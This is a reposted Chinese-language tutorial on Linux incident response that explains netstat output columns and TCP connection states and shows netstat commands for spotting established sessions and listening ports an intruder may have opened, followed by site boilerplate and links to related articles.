Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器
第一列:協(xié)議類型
第二列:接收消息隊列
第三列:發(fā)送消息隊列
第四列:本地 ip 和端口
第五列:遠程 ip 和端口
第六列:網(wǎng)絡(luò)連接狀態(tài)
第七列:進程 pid 和進程名稱

可以通過第六列篩選已經(jīng)建立鏈接的進程。
TCP 連接狀態(tài)詳解:
1、LISTEN #本地服務(wù)偵聽狀態(tài)
2、ESTABLISHED #已經(jīng)建立鏈接雙方正在通訊狀態(tài)。
3、CLOSE_WAIT #對方主動關(guān)閉連接或者網(wǎng)絡(luò)異常導(dǎo)致連接中斷,這時我方的狀態(tài)會變成
CLOSE_WAIT 此時我方要調(diào)用 close()來使得連接正確關(guān)閉。
4、TIME_WAIT #我方主動調(diào)用 close()斷開連接,收到對方確認后狀態(tài)變?yōu)?br> TIME_WAIT。
5、SYN_SENT #半連接狀態(tài),原理同 SYN Flood 攻擊,攻擊者發(fā)送 SYN 后服務(wù)器端口
進入 SYN_SENT 狀態(tài)等待用戶返回 SYN+ACK。

查看已經(jīng)建立連接的會話。

[root@xuegod63 ~] netstat -anutp |grep ESTABLISHED

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

[root@xuegod63 log] netstat -anutp |grep 22

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

[root@xuegod63 log] netstat -anutp |grep LISTEN #查看本機處于監(jiān)聽的服務(wù),查看

檢查黑客開放了哪些監(jiān)聽端口

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器文章來源地址http://www.zghlxwxcb.cn/news/detail-824851.html

到了這里,關(guān)于Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • Windows應(yīng)急響應(yīng)排查思路

    Windows應(yīng)急響應(yīng)排查思路

    「作者簡介」: CSDN top100、阿里云博客專家、華為云享專家、網(wǎng)絡(luò)安全領(lǐng)域優(yōu)質(zhì)創(chuàng)作者 「推薦專欄」: 對網(wǎng)絡(luò)安全感興趣的小伙伴可以關(guān)注專欄《網(wǎng)絡(luò)安全入門到精通》

    2023年04月20日
    瀏覽(20)
  • 應(yīng)急響應(yīng)排查思路(Windows篇)

    應(yīng)急響應(yīng)排查思路(Windows篇)

    「作者簡介」: CSDN top100、阿里云博客專家、華為云享專家、網(wǎng)絡(luò)安全領(lǐng)域優(yōu)質(zhì)創(chuàng)作者 「推薦專欄」: 對網(wǎng)絡(luò)安全感興趣的小伙伴可以關(guān)注專欄《網(wǎng)絡(luò)安全入門到精通》

    2023年04月19日
    瀏覽(22)
  • 【安全服務(wù)】應(yīng)急響應(yīng)1:流程、排查與分析

    【安全服務(wù)】應(yīng)急響應(yīng)1:流程、排查與分析

    目錄 一、應(yīng)急響應(yīng)流程 1 準備階段 2 檢測階段 3 抑制階段 4 根除階段 5 恢復(fù)階段 6 總結(jié)階段 現(xiàn)場處置流程 二、系統(tǒng)排查 1、系統(tǒng)信息 2、用戶信息 3 啟動項 4?任務(wù)計劃 5 其他:Windows防火墻規(guī)則 ?三、進程排查 1 windows 1.1 任務(wù)管理器 1.2 cmd tasklist 1.3 查看正在進行網(wǎng)絡(luò)連接的進

    2024年02月08日
    瀏覽(19)
  • 應(yīng)急響應(yīng)-web后門(中間件)的排查思路

    語言,數(shù)據(jù)庫,中間件,系統(tǒng)環(huán)境等 1.利用時間節(jié)點篩選日志行為 2.利用已知的漏洞在日志進行特征搜索,快速定位到目標ip等信息 3.后門查殺,獲取后門信息,進一步定位目標信息 iis .net分析:網(wǎng)站被入侵,給出來被入侵時間 iis日志地址:inetput/logs/LogFiles/W3VC5(確認對網(wǎng)站的

    2024年02月14日
    瀏覽(22)
  • 服務(wù)器病毒木馬通用排查處理應(yīng)急響應(yīng)流程

    服務(wù)器病毒木馬通用排查處理應(yīng)急響應(yīng)流程

    目錄 一、勒索病毒發(fā)作的特征? ? 二、勒索病毒的應(yīng)急響應(yīng)?? 三、勒索病毒預(yù)防與事后加固?? 如果發(fā)現(xiàn)大量統(tǒng)一后綴的文件;發(fā)現(xiàn)勒索信在Linux/home、/usr等目錄,在Windows???桌面或者是被加密文件的文件夾下。如果存在以上特征情況,證明感染了勒索病毒并且已經(jīng)發(fā)作。

    2024年04月22日
    瀏覽(24)
  • 運維圣經(jīng):Webshell應(yīng)急響應(yīng)指南

    運維圣經(jīng):Webshell應(yīng)急響應(yīng)指南

    目錄 Webshell簡介 Webshell檢測手段 Webshell應(yīng)急響應(yīng)指南 一.?Webshell排查 二. 確定入侵時間 三. Web日志分析 四. 漏洞分析 五. 漏洞復(fù)現(xiàn) 六. 清除Webshell并修復(fù)漏洞 七. Webshell防御方法 Webshell通常指以JSP、ASP、 PHP等網(wǎng)頁腳本文件形式存在的一種服務(wù)器可執(zhí)行文件,一般帶有文件操作

    2024年02月09日
    瀏覽(25)
  • 網(wǎng)絡(luò)安全運維-應(yīng)急響應(yīng)篇

    1.1 /tmp 目錄 此目錄下,任可用戶均可讀寫,因此應(yīng)關(guān)注此目錄內(nèi)容 1.2.1 /etc/init.d 系統(tǒng)服務(wù)目錄 /etc/init.d/apache2 status #查看服務(wù)狀態(tài) apache2.service - The Apache HTTP Server ???? Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled) ???? Active: inactive (dead) ?????? Doc

    2024年02月09日
    瀏覽(21)
  • 運維圣經(jīng):DDos攻擊應(yīng)急響應(yīng)指南

    運維圣經(jīng):DDos攻擊應(yīng)急響應(yīng)指南

    目錄 DDos攻擊簡介 DDos攻擊應(yīng)急響應(yīng)指南 一. 問題排查 二. 臨時處置 三. 研判溯源 四. 清楚加固 分布式拒絕服務(wù)是種基于DoS的特殊形式的拒絕服務(wù)攻擊,是一種分布、 協(xié)作的大規(guī)模攻擊方式,主要瞄準比較大的站點,像商業(yè)公司、搜索引擎或政府部門門的站點。DoS攻擊只要一

    2024年02月08日
    瀏覽(23)
  • 【應(yīng)急響應(yīng)】網(wǎng)站入侵篡改指南&Webshell內(nèi)存馬查殺&漏洞排查&時間分析

    【應(yīng)急響應(yīng)】網(wǎng)站入侵篡改指南&Webshell內(nèi)存馬查殺&漏洞排查&時間分析

    應(yīng)急響應(yīng): 1、抗拒絕服務(wù)攻擊防范應(yīng)對指南 2、勒索軟件防范應(yīng)對指南 3、釣魚郵件攻擊防范應(yīng)對指南 4、網(wǎng)頁篡改與后門攻擊防范應(yīng)對指南 5、網(wǎng)絡(luò)安全漏洞防范應(yīng)對指南 6、大規(guī)模數(shù)據(jù)泄露防范應(yīng)對指南 7、僵尸網(wǎng)絡(luò)感染防范應(yīng)對指南 8、APT攻擊入侵防范應(yīng)對指南 9、各種輔

    2024年01月20日
    瀏覽(22)
  • 藍隊-應(yīng)急響應(yīng)-日志分析

    在日常藍隊進行日志分析的時候,顯示將服務(wù)器主機日志全都收集起來,然后將日志放到自動識別腳本當中,就能進行自動分析,最后將有異常的ip直接拉黑即可。 下面的工具講的是日志分析,是在攻擊者進行攻擊之后才能發(fā)現(xiàn) #日志自動提取腳本—— 七牛Logkit觀星應(yīng)急工具

    2024年02月11日
    瀏覽(23)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包